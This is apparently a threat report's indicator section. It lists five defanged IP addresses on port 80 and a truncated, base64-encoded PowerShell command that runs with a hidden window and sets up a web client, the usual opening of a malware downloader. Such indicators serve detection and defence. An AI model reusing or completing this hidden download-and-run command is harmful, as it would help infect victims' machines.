Technical Information
- '17#.#2.233.192':80
- '15#.#5.146.232':80
- '15#.#5.65.213':80
- '35.#04.88.6':80
- '10#.#4.104.187':80
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -e JABqADYAXwAzADgANAA9ACgAJwBNACcAKwAnADYAJwArACcAXwAyAF8ANQBfACcAKQA7ACQAaQBfADgAXwBfADEAXwA4AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAFYAOQA1ADkANgBfAD0AK...' (with hidden window)